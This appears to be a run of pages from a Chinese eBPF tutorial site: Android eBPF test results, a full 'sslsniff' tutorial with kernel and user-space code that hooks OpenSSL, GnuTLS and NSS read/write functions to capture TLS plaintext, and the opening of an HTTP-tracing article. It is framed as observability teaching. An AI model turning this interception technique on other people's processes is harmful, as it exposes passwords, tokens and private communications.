至此,测试 eBPF 所需的 Linux 环境已经构建完毕。此外,在 Android shell 中(未进入 debian 时)可以通过 zcat /proc/config.gz 并配合 grep 查看内核编译选项。
目前,eadb 打包的 debian 环境存在 libc 版本低,缺少的工具依赖较多等情况;并且由于内核编译选项不同,一些 eBPF 功能可能也无法使用。
工具构建
在 debian 环境中将 eunomia-bpf 仓库 clone 到本地,具体的构建过程,可以参考仓库的 build.md。在本次测试中,笔者选用了 ecc 编译生成 package.json 的方式,该工具的构建和使用方式请参考仓库页面。
在构建过程中,可能需要自行安装包括但不限于
curl,pkg-config,libssl-dev等工具。
结果
有部分 eBPF 程序可以成功在 Android 上运行,但也会有部分应用因为种种原因无法成功被执行。
成功案例
bootstrap
运行输出如下:
TIME PID PPID EXIT_CODE DURATION_NS COMM FILENAME EXIT_EVENT
09:09:19 10217 479 0 0 sh /system/bin/sh 0
09:09:19 10217 479 0 0 ps /system/bin/ps 0
09:09:19 10217 479 0 54352100 ps 1
09:09:21 10219 479 0 0 sh /system/bin/sh 0
09:09:21 10219 479 0 0 ps /system/bin/ps 0
09:09:21 10219 479 0 44260900 ps 1
tcpstates
开始监测后在 Linux 环境中通过 wget 下载 Web 页面:
TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK
09:07:46 0x4007000200005000000000000f02000a 0x5000000000000f02000a8bc53f77 18446635827774444352 3315344998 0 10115 7 2 2 0 80 wget
09:07:46 0x40020002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315465870 120872 0 2 1 2 55694 80 swapper/0
09:07:46 0x40010002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315668799 202929 10115 1 4 2 55694 80 wget
09:07:46 0x40040002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315670037 1237 0 4 5 2 55694 80 swapper/0
09:07:46 0x40050002000050003d99f8090f02000a 0x50003d99f8090f02000a8bc53f77 18446635827774444352 3315670225 188 0 5 7 2 55694 80 swapper/0
09:07:47 0x400200020000bb01565811650f02000a 0xbb01565811650f02000a6aa0d9ac 18446635828348806592 3316433261 0 2546 2 7 2 49970 443 ChromiumNet
09:07:47 0x400200020000bb01db794a690f02000a 0xbb01db794a690f02000aea2afb8e 18446635827774427776 3316535591 0 1469 2 7 2 37386 443 ChromiumNet
开始检测后在 Android Studio 模拟界面打开 Chrome 浏览器并访问百度页面:
TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK
07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020066638144 192874641 0 3305 7 2 2 0 443 NetworkService
07:46:58 0x40020002d28abb01494b6ebe0f02000a 0xd28abb01494b6ebe0f02000aeb6f2270 18446631020066638144 192921938 47297 3305 2 1 2 53898 443 NetworkService
07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132433920 193111426 0 3305 7 2 2 0 443 NetworkService
07:46:58 0x40020002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193124670 13244 3305 2 1 2 46240 443 NetworkService
07:46:58 0x40010002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193185397 60727 3305 1 4 2 46240 443 NetworkService
07:46:58 0x40040002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186122 724 3305 4 5 2 46240 443 NetworkService
07:46:58 0x400500020000bb0179ff85e80f02000a 0xbb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186244 122 3305 5 7 2 46240 443 NetworkService
07:46:59 0x40010002d01ebb01d0c52f5c0f02000a 0xd01ebb01d0c52f5c0f02000a51449c27 18446631020103553856 194110884 0 5130 1 8 2 53278 443 ThreadPoolForeg
07:46:59 0x400800020000bb01d0c52f5c0f02000a 0xbb01d0c52f5c0f02000a51449c27 18446631020103553856 194121000 10116 3305 8 7 2 53278 443 NetworkService
07:46:59 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020099513920 194603677 0 3305 7 2 2 0 443 NetworkService
07:46:59 0x40020002d28ebb0182dd92990f02000a 0xd28ebb0182dd92990f02000aeb6f2270 18446631020099513920 194649313 45635 12 2 1 2 53902 443 ksoftirqd/0
07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000a26f6e878 18446631020132433920 195193350 0 3305 7 2 2 0 443 NetworkService
07:47:00 0x40020002ba32bb01e0e09e3a0f02000a 0xba32bb01e0e09e3a0f02000a26f6e878 18446631020132433920 195206992 13642 0 2 1 2 47666 443 swapper/0
07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132448128 195233125 0 3305 7 2 2 0 443 NetworkService
07:47:00 0x40020002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195246569 13444 3305 2 1 2 46248 443 NetworkService
07:47:00 0xf02000affff00000000000000000000 0x1aca06cffff00000000000000000000 18446631019225912320 195383897 0 947 7 2 10 0 80 Thread-11
07:47:00 0x40010002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195421584 175014 3305 1 4 2 46248 443 NetworkService
07:47:00 0x40040002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422361 777 3305 4 5 2 46248 443 NetworkService
07:47:00 0x400500020000bb0136cac8dd0f02000a 0xbb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422450 88 3305 5 7 2 46248 443 NetworkService
07:47:01 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aea2afb8e 18446631020099528128 196321556 0 1315 7 2 2 0 443 ChromiumNet
一些可能的报错原因
opensnoop
例如 opensnoop 工具,可以在 Android 上成功构建,但运行报错:
libbpf: failed to determine tracepoint 'syscalls/sys_enter_open' perf event ID: No such file or directory
libbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to create tracepoint 'syscalls/sys_enter_open' perf event: No such file or directory
libbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to auto-attach: -2
failed to attach skeleton
Error: BpfError("load and attach ebpf program failed")
后经查看发现内核未开启 CONFIG_FTRACE_SYSCALLS 选项,导致无法使用 syscalls 的 tracepoint。
总结
在 Android shell 中查看内核编译选项可以发现 CONFIG_DEBUG_INFO_BTF 默认是打开的,在此基础上 eunomia-bpf 项目提供的 example 已有一些能够成功运行的案例,例如可以监测 exec 族函数的执行和 tcp 连接的状态。
对于无法运行的一些,原因主要是以下两个方面:
- 内核编译选项未支持相关 eBPF 功能;
- eadb 打包的 Linux 环境较弱,缺乏必须依赖;
目前在 Android 系统中使用 eBPF 工具基本上仍然需要构建完整的 Linux 运行环境,但 Android 内核本身对 eBPF 的支持已较为全面,本次测试证明较高版本的 Android 内核支持 BTF 调试信息和依赖 CO-RE 的 eBPF 程序的运行。
Android 系统 eBPF 工具的发展需要官方新特性的加入,目前看来通过 Android APP 直接使用 eBPF 工具需要的工作量较大,同时由于 eBPF 工具需要 root 权限,普通 Android 用户的使用会面临较多困难。
如果希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
参考
eBPF 实践教程:使用 uprobe 捕获多种库的 SSL/TLS 明文数据
随着TLS在现代网络环境中的广泛应用,跟踪微服务RPC消息已经变得愈加棘手。传统的流量嗅探技术常常受限于只能获取到加密后的数据,导致无法真正观察到通信的原始内容。这种限制为系统的调试和分析带来了不小的障碍。
但现在,我们有了新的解决方案。使用 eBPF 技术,通过其能力在用户空间进行探测,提供了一种方法重新获得明文数据,使得我们可以直观地查看加密前的通信内容。然而,每个应用可能使用不同的库,每个库都有多个版本,这种多样性给跟踪带来了复杂性。
在本教程中,我们将带您了解一种跨多种用户态 SSL/TLS 库的 eBPF 追踪技术,它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库,而且相比以往,大大降低了对新版本库的维护工作。完整的源代码可以在这里查看:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff。
背景知识
在深入本教程的主题之前,我们需要理解一些核心概念,这些概念将为我们后面的讨论提供基础。
SSL 和 TLS
SSL (Secure Sockets Layer): 由 Netscape 在 1990 年代早期开发,为网络上的两台机器之间提供数据加密传输。然而,由于某些已知的安全问题,SSL的使用已被其后继者TLS所替代。
TLS (Transport Layer Security): 是 SSL 的继任者,旨在提供更强大和更安全的数据加密方式。TLS 工作通过一个握手过程,在这个过程中,客户端和服务器之间会选择一个加密算法和相应的密钥。一旦握手完成,数据传输开始,所有数据都使用选择的算法和密钥加密。
TLS 的工作原理
Transport Layer Security (TLS) 是一个密码学协议,旨在为计算机网络上的通信提供安全性。它主要目标是通过密码学,例如证书的使用,为两个或更多通信的计算机应用程序提供安全性,包括隐私(机密性)、完整性和真实性。TLS 由两个子层组成:TLS 记录协议和TLS 握手协议。
握手过程
当客户端与启用了TLS的服务器连接并请求建立安全连接时,握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数,完整流程如下:
- 初始握手:客户端连接到启用了TLS的服务器,请求安全连接,并提供它支持的密码套件列表(加密算法和哈希函数)。
- 选择密码套件:从提供的列表中,服务器选择它也支持的密码套件和哈希函数,并通知客户端已做出的决定。
- 提供数字证书:通常,服务器接下来会提供形式为数字证书的身份验证。此证书包含服务器名称、信任的证书授权机构(为证书的真实性提供担保)以及服务器的公共加密密钥。
- 验证证书:客户端在继续之前确认证书的有效性。
- 生成会话密钥:为了生成用于安全连接的会话密钥,客户端有以下两种方法:
- 使用服务器的公钥加密一个随机数(PreMasterSecret)并将结果发送到服务器(只有服务器才能使用其私钥解密);双方然后使用该随机数生成一个独特的会话密钥,用于会话期间的数据加密和解密。
- 使用 Diffie-Hellman 密钥交换(或其变体椭圆曲线DH)来安全地生成一个随机且独特的会话密钥,用于加密和解密,该密钥具有前向保密的额外属性:即使在未来公开了服务器的私钥,也不能用它来解密当前的会话,即使第三方拦截并记录了会话。
一旦上述步骤成功完成,握手过程便结束,加密的连接开始。此连接使用会话密钥进行加密和解密,直到连接关闭。如果上述任何步骤失败,则TLS握手失败,连接将不会建立。
OSI模型中的TLS
TLS 和 SSL 不完全适合 OSI 模型或 TCP/IP 模型的任何单一层次。TLS 在“某些可靠的传输协议(例如,TCP)之上运行”,这意味着它位于传输层之上。它为更高的层提供加密,这通常是表示层的功能。但是,使用TLS 的应用程序通常视其为传输层,即使使用TLS的应用程序必须积极控制启动 TLS 握手和交换的认证证书的处理。
eBPF 和 uprobe
eBPF (Extended Berkeley Packet Filter): 是一种内核技术,允许用户在内核空间中运行预定义的程序,不需要修改内核源代码或重新加载模块。它创建了一个桥梁,使得用户空间和内核空间可以交互,从而为系统监控、性能分析和网络流量分析等任务提供了无前例的能力。
uprobes 是eBPF的一个重要特性,允许我们在用户空间应用程序中动态地插入探测点,特别适用于跟踪SSL/TLS库中的函数调用。Uprobe 在内核态 eBPF 运行时,也可能产生比较大的性能开销,这时候也可以考虑使用用户态 eBPF 运行时,例如 bpftime。bpftime 是一个基于 LLVM JIT/AOT 的用户态 eBPF 运行时,它可以在用户态运行 eBPF 程序,和内核态的 eBPF 兼容,避免了内核态和用户态之间的上下文切换,从而提高了 eBPF 程序的执行效率。对于 uprobe 而言,bpftime 的性能开销比 kernel 小一个数量级。
用户态库
SSL/TLS协议的实现主要依赖于用户态库。以下是一些常见的库:
- OpenSSL: 一个开源的、功能齐全的加密库,广泛应用于许多开源和商业项目中。
- BoringSSL: 是Google维护的OpenSSL的一个分支,重点是简化和优化,适用于Google的需求。
- GnuTLS: 是GNU项目的一部分,提供了SSL,TLS和DTLS协议的实现。与OpenSSL和BoringSSL相比,GnuTLS在API设计、模块结构和许可证上有所不同。
OpenSSL API 分析
OpenSSL 是一个广泛应用的开源库,提供了 SSL 和 TLS 协议的完整实现,并广泛用于各种应用程序中以确保数据传输的安全性。其中,SSL_read() 和 SSL_write() 是两个核心的 API 函数,用于从 TLS/SSL 连接中读取和写入数据。本章节,我们将深入这两个函数,帮助你理解其工作机制。
1. SSL_read 函数
当我们想从一个已建立的 SSL 连接中读取数据时,可以使用 SSL_read 或 SSL_read_ex 函数。函数原型如下:
int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes);
int SSL_read(SSL *ssl, void *buf, int num);
SSL_read 和 SSL_read_ex 试图从指定的 ssl 中读取最多 num 字节的数据到缓冲区 buf 中。成功时,SSL_read_ex 会在 *readbytes 中存储实际读取到的字节数。
2. SSL_write 函数
当我们想往一个已建立的 SSL 连接中写入数据时,可以使用 SSL_write 或 SSL_write_ex 函数。
函数原型:
int SSL_write_ex(SSL *s, const void *buf, size_t num, size_t *written);
int SSL_write(SSL *ssl, const void *buf, int num);
SSL_write 和 SSL_write_ex 会从缓冲区 buf 中将最多 num 字节的数据写入到指定的 ssl 连接中。成功时,SSL_write_ex 会在 *written 中存储实际写入的字节数。
eBPF 内核态代码编写
在我们的例子中,我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数,从而在数据读取或写入 SSL 连接时执行自定义操作。
数据结构
首先,我们定义了一个数据结构 probe_SSL_data_t 用于在内核态和用户态之间传输数据:
#define MAX_BUF_SIZE 8192
#define TASK_COMM_LEN 16
struct probe_SSL_data_t {
__u64 timestamp_ns; // 时间戳(纳秒)
__u64 delta_ns; // 函数执行时间
__u32 pid; // 进程 ID
__u32 tid; // 线程 ID
__u32 uid; // 用户 ID
__u32 len; // 读/写数据的长度
int buf_filled; // 缓冲区是否填充完整
int rw; // 读或写(0为读,1为写)
char comm[TASK_COMM_LEN]; // 进程名
__u8 buf[MAX_BUF_SIZE]; // 数据缓冲区
int is_handshake; // 是否是握手数据
};
Hook 函数
我们的目标是 hook 到 SSL_read 和 SSL_write 函数。我们定义了一个函数 SSL_exit 来处理这两个函数的返回值。该函数会根据当前进程和线程的 ID,确定是否需要追踪并收集数据。
static int SSL_exit(struct pt_regs *ctx, int rw) {
int ret = 0;
u32 zero = 0;
u64 pid_tgid = bpf_get_current_pid_tgid();
u32 pid = pid_tgid >> 32;
u32 tid = (u32)pid_tgid;
u32 uid = bpf_get_current_uid_gid();
u64 ts = bpf_ktime_get_ns();
if (!trace_allowed(uid, pid)) {
return 0;
}
/* store arg info for later lookup */
u64 *bufp = bpf_map_lookup_elem(&bufs, &tid);
if (bufp == 0)
return 0;
u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid);
if (!tsp)
return 0;
u64 delta_ns = ts - *tsp;
int len = PT_REGS_RC(ctx);
if (len <= 0) // no data
return 0;
struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero);
if (!data)
return 0;
data->timestamp_ns = ts;
data->delta_ns = delta_ns;
data->pid = pid;
data->tid = tid;
data->uid = uid;
data->len = (u32)len;
data->buf_filled = 0;
data->rw = rw;
data->is_handshake = false;
u32 buf_copy_size = min((size_t)MAX_BUF_SIZE, (size_t)len);
bpf_get_current_comm(&data->comm, sizeof(data->comm));
if (bufp != 0)
ret = bpf_probe_read_user(&data->buf, buf_copy_size, (char *)*bufp);
bpf_map_delete_elem(&bufs, &tid);
bpf_map_delete_elem(&start_ns, &tid);
if (!ret)
data->buf_filled = 1;
else
buf_copy_size = 0;
bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data,
EVENT_SIZE(buf_copy_size));
return 0;
}
这里的 rw 参数标识是读还是写。0 代表读,1 代表写。
数据收集流程
- 获取当前进程和线程的 ID,以及当前用户的 ID。
- 通过
trace_allowed判断是否允许追踪该进程。 - 获取起始时间,以计算函数的执行时间。
- 尝试从
bufs和start_nsmaps 中查找相关的数据。 - 如果成功读取了数据,则创建或查找
probe_SSL_data_t结构来填充数据。 - 将数据从用户空间复制到缓冲区,并确保不超过预定的大小。
- 最后,将数据发送到用户空间。
注意:我们使用了两个用户返回探针 uretprobe 来分别 hook SSL_read 和 SSL_write 的返回:
SEC("uretprobe/SSL_read")
int BPF_URETPROBE(probe_SSL_read_exit) {
return (SSL_exit(ctx, 0)); // 0 表示读操作
}
SEC("uretprobe/SSL_write")
int BPF_URETPROBE(probe_SSL_write_exit) {
return (SSL_exit(ctx, 1)); // 1 表示写操作
}
Hook到握手过程
在 SSL/TLS 中,握手(handshake)是一个特殊的过程,用于在客户端和服务器之间建立安全的连接。为了分析此过程,我们 hook 到了 do_handshake 函数,以跟踪握手的开始和结束。
进入握手
我们使用 uprobe 为 do_handshake 设置一个 probe:
SEC("uprobe/do_handshake")
int BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) {
u64 pid_tgid = bpf_get_current_pid_tgid();
u32 pid = pid_tgid >> 32;
u32 tid = (u32)pid_tgid;
u64 ts = bpf_ktime_get_ns();
u32 uid = bpf_get_current_uid_gid();
if (!trace_allowed(uid, pid)) {
return 0;
}
/* store arg info for later lookup */
bpf_map_update_elem(&start_ns, &tid, &ts, BPF_ANY);
return 0;
}
这段代码的主要功能如下:
- 获取当前的
pid,tid,ts和uid。 - 使用
trace_allowed检查进程是否被允许追踪。 - 将当前时间戳存储在
start_ns映射中,用于稍后计算握手过程的持续时间。
退出握手
同样,我们为 do_handshake 的返回设置了一个 uretprobe:
SEC("uretprobe/do_handshake")
int BPF_URETPROBE(probe_SSL_do_handshake_exit) {
u32 zero = 0;
u64 pid_tgid = bpf_get_current_pid_tgid();
u32 pid = pid_tgid >> 32;
u32 tid = (u32)pid_tgid;
u32 uid = bpf_get_current_uid_gid();
u64 ts = bpf_ktime_get_ns();
int ret = 0;
/* use kernel terminology here for tgid/pid: */
u32 tgid = pid_tgid >> 32;
/* store arg info for later lookup */
if (!trace_allowed(tgid, pid)) {
return 0;
}
u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid);
if (tsp == 0)
return 0;
ret = PT_REGS_RC(ctx);
if (ret <= 0) // handshake failed
return 0;
struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero);
if (!data)
return 0;
data->timestamp_ns = ts;
data->delta_ns = ts - *tsp;
data->pid = pid;
data->tid = tid;
data->uid = uid;
data->len = ret;
data->buf_filled = 0;
data->rw = 2;
data->is_handshake = true;
bpf_get_current_comm(&data->comm, sizeof(data->comm));
bpf_map_delete_elem(&start_ns, &tid);
bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data,
EVENT_SIZE(0));
return 0;
}
此函数的逻辑如下:
- 获取当前的
pid,tid,ts和uid。 - 使用
trace_allowed再次检查是否允许追踪。 - 查找
start_ns映射中的时间戳,用于计算握手的持续时间。 - 使用
PT_REGS_RC(ctx)获取do_handshake的返回值,判断握手是否成功。 - 查找或初始化与当前线程关联的
probe_SSL_data_t数据结构。 - 更新数据结构的字段,包括时间戳、持续时间、进程信息等。
- 通过
bpf_perf_event_output将数据发送到用户态。
我们的 eBPF 代码不仅跟踪了 ssl_read 和 ssl_write 的数据传输,还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。
通过这些 hook 函数,我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解,可以帮助我们在需要时进行更深入的分析和优化。
用户态辅助代码分析与解读
在 eBPF 的生态系统中,用户态和内核态代码经常协同工作。内核态代码负责数据的采集,而用户态代码则负责设置、管理和处理这些数据。在本节中,我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。
1. 支持的库挂载
上述代码片段中,根据环境变量 env 的设定,程序可以选择针对三种常见的加密库(OpenSSL、GnuTLS 和 NSS)进行挂载。这意味着我们可以在同一个工具中对多种库的调用进行追踪。
为了实现这一功能,首先利用 find_library_path 函数确定库的路径。然后,根据库的类型,调用对应的 attach_ 函数来将 eBPF 程序挂载到库函数上。
if (env.openssl) {
char *openssl_path = find_library_path("libssl.so");
printf("OpenSSL path: %s\n", openssl_path);
attach_openssl(obj, openssl_path);
}
if (env.gnutls) {
char *gnutls_path = find_library_path("libgnutls.so");
printf("GnuTLS path: %s\n", gnutls_path);
attach_gnutls(obj, gnutls_path);
}
if (env.nss) {
char *nss_path = find_library_path("libnspr4.so");
printf("NSS path: %s\n", nss_path);
attach_nss(obj, nss_path);
}
这里主要包含 OpenSSL、GnuTLS 和 NSS 三个库的挂载逻辑。NSS 是为组织设计的一套安全库,支持创建安全的客户端和服务器应用程序。它们最初是由 Netscape 开发的,现在由 Mozilla 维护。其他两个库前面已经介绍过了,这里不再赘述。
2. 详细挂载逻辑
具体的 attach 函数如下:
#define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \
do { \
LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts, .func_name = #sym_name, \
.retprobe = is_retprobe); \
skel->links.prog_name = bpf_program__attach_uprobe_opts( \
skel->progs.prog_name, env.pid, binary_path, 0, &uprobe_opts); \
} while (false)
int attach_openssl(struct sslsniff_bpf *skel, const char *lib) {
ATTACH_UPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_write_exit);
ATTACH_UPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_read_exit);
if (env.latency && env.handshake) {
ATTACH_UPROBE_CHECKED(skel, lib, SSL_do_handshake,
probe_SSL_do_handshake_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, SSL_do_handshake,
probe_SSL_do_handshake_exit);
}
return 0;
}
int attach_gnutls(struct sslsniff_bpf *skel, const char *lib) {
ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_write_exit);
ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_read_exit);
return 0;
}
int attach_nss(struct sslsniff_bpf *skel, const char *lib) {
ATTACH_UPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_write_exit);
ATTACH_UPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_write_exit);
ATTACH_UPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_read_exit);
ATTACH_UPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_rw_enter);
ATTACH_URETPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_read_exit);
return 0;
}
我们进一步观察 attach_ 函数,可以看到它们都使用了 ATTACH_UPROBE_CHECKED 和 ATTACH_URETPROBE_CHECKED 宏来实现具体的挂载逻辑。这两个宏分别用于设置 uprobe(函数入口)和 uretprobe(函数返回)。
考虑到不同的库有不同的 API 函数名称(例如,OpenSSL 使用 SSL_write,而 GnuTLS 使用 gnutls_record_send),所以我们需要为每个库写一个独立的 attach_ 函数。
例如,在 attach_openssl 函数中,我们为 SSL_write 和 SSL_read 设置了 probe。如果用户还希望追踪握手的延迟 (env.latency) 和握手过程 (env.handshake),那么我们还会为 SSL_do_handshake 设置 probe。
在eBPF生态系统中,perf_buffer是一个用于从内核态传输数据到用户态的高效机制。这对于内核态eBPF程序来说是十分有用的,因为它们不能直接与用户态进行交互。使用perf_buffer,我们可以在内核态eBPF程序中收集数据,然后在用户态异步地读取这些数据。我们使用 perf_buffer__poll 函数来读取内核态上报的数据,如下所示:
while (!exiting) {
err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS);
if (err < 0 && err != -EINTR) {
warn("error polling perf buffer: %s\n", strerror(-err));
goto cleanup;
}
err = 0;
}
最后,在 print_event 函数中,我们将数据打印到标准输出:
// Function to print the event from the perf buffer
void print_event(struct probe_SSL_data_t *event, const char *evt) {
...
if (buf_size != 0) {
if (env.hexdump) {
// 2 characters for each byte + null terminator
char hex_data[MAX_BUF_SIZE * 2 + 1] = {0};
buf_to_hex((uint8_t *)buf, buf_size, hex_data);
printf("\n%s\n", s_mark);
for (size_t i = 0; i < strlen(hex_data); i += 32) {
printf("%.32s\n", hex_data + i);
}
printf("%s\n\n", e_mark);
} else {
printf("\n%s\n%s\n%s\n\n", s_mark, buf, e_mark);
}
}
}
完整的源代码可以在这里查看:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff
编译与运行
关于如何安装依赖,请参考:https://eunomia.dev/tutorials/11-bootstrap/
要开始使用 sslsniff,首先要进行编译:
make
完成后,请按照以下步骤操作:
启动 sslsniff
在一个终端中,执行以下命令来启动 sslsniff:
sudo ./sslsniff
执行 CURL 命令
在另一个终端中,执行:
curl https://example.com
正常情况下,你会看到类似以下的输出:
<!doctype html>
<html>
<head>
<title>Example Domain</title>
...
<body>
<div>
...
</div>
</body>
</html>
sslsniff 输出
当执行 curl 命令后,sslsniff 会显示以下内容:
READ/RECV 0.132786160 curl 47458 1256
----- DATA -----
<!doctype html>
...
<div>
<h1>Example Domain</h1>
...
</div>
</body>
</html>
----- END DATA -----
注意:显示的 HTML 内容可能会因 example.com 页面的不同而有所不同。
显示延迟和握手过程
要查看延迟和握手过程,请执行以下命令:
$ sudo ./sslsniff -l --handshake
OpenSSL path: /lib/x86_64-linux-gnu/libssl.so.3
GnuTLS path: /lib/x86_64-linux-gnu/libgnutls.so.30
NSS path: /lib/x86_64-linux-gnu/libnspr4.so
FUNC TIME(s) COMM PID LEN LAT(ms)
HANDSHAKE 0.000000000 curl 6460 1 1.384 WRITE/SEND 0.000115400 curl 6460 24 0.014
16进制输出
要以16进制格式显示数据,请执行以下命令:
$ sudo ./sslsniff --hexdump
WRITE/SEND 0.000000000 curl 16104 24
----- DATA -----
505249202a20485454502f322e300d0a
0d0a534d0d0a0d0a
----- END DATA -----
...
总结
eBPF 是一个非常强大的技术,它可以帮助我们深入了解系统的工作原理。本教程是一个简单的示例,展示了如何使用 eBPF 来监控 SSL/TLS 通信。如果您对 eBPF 技术感兴趣,并希望进一步了解和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。
参考资料:
- https://github.com/iovisor/bcc/pull/4706
- https://github.com/openssl/openssl
- https://www.openssl.org/docs/man1.1.1/man3/SSL_read.html
- https://github.com/iovisor/bcc/blob/master/tools/sslsniff_example.txt
- https://en.wikipedia.org/wiki/Transport_Layer_Security
通过 eBPF socket filter 或 syscall trace 追踪 HTTP 请求等七层协议 - eBPF 实践教程
在当今的技术环境中,随着微服务、云原生应用和复杂的分布式系统的崛起,系统的可观测性已成为确保其健康、性能和安全的关键要素。特别是在微服务架构中,应用程序的组件可能分布在多个容器和服务器上,这使得传统的监控方法往往难以提供足够的深度和广度来全面了解系统的行为。这就是为什么观测七层协议,如 HTTP、gRPC、MQTT 等,变得尤为重要。
七层协议为我们提供了关于应用程序如何与其他服务和组件交互的详细信息。在微服务环境中,了解这些交互是至关重要的,因为它们经常是性能瓶颈、故障和安全问题的根源。然而,监控这些协议并不简单。传统的网络监控工具,如 tcpdump,虽然在捕获网络流量方面非常有效,但在处理七层协议的复杂性和动态性时,它们往往显得力不从心。
这正是 eBPF 技术发挥作用的地方。eBPF 允许开发者和运维人员深入到系统的内核层,实时观测和分析系统的行为,而无需对应用程序代码进行任何修改或插入埋点。这为我们提供了一个独特的机会,可以更简单、更高效地处理应用层流量,特别是在微服务环境中。
在本教程中,我们将深入探讨以下内容:
- 追踪七层协议,如 HTTP,以及与其相关的挑战。
- eBPF 的 socket filter 和 syscall 追踪:这两种技术如何帮助我们在不同的内核层次追踪 HTTP 网络请求数据,以及这两种方法的优势和局限性。
- eBPF 实践教程:如何开发一个 eBPF 程序,使用 eBPF socket filter 或 syscall 追踪来捕获和分析 HTTP 流量
随着网络流量的增加和应用程序的复杂性增加,对七层协议的深入了解变得越来越重要。通过本教程,您将获得必要的知识和工具,以便更有效地监控和分析您的网络流量,从而为您的应用程序和服务器提供最佳的性能。
本文是 eBPF 开发者教程的一部分,更详细的内容可以在这里找到:https://eunomia.dev/tutorials/ 源代码在 GitHub 仓库 中开源。
追踪 HTTP, HTTP/2 等七层协议的挑战
在现代的网络环境中,七层协议不仅仅局限于 HTTP。实际上,有许多七层协议,如 HTTP/2, gRPC, MQTT, WebSocket, AMQP 和 SMTP,它们都在不同的应用场景中发挥着关键作用。这些协议为我们提供了关于应用程序如何与其他服务和组件交互的详细信息。但是,追踪这些协议并不是一个简单的任务,尤其是在复杂的分布式系统中。
-
多样性和复杂性:每种七层协议都有其特定的设计和工作原理。例如,gRPC 使用了 HTTP/2 作为其传输协议,并支持多种语言。而 MQTT 是为低带宽和不可靠的网络设计的轻量级发布/订阅消息传输协议。
-
动态性:许多七层协议都是动态的,这意味着它们的行为可能会根据网络条件、应用需求或其他因素而变化。
-
加密和安全性:随着安全意识的增强,许多七层协议都采用了加密技术,如 TLS/SSL。这为追踪和分析带来了额外的挑战,因为需要解密流量才能进行深入的分析。
-
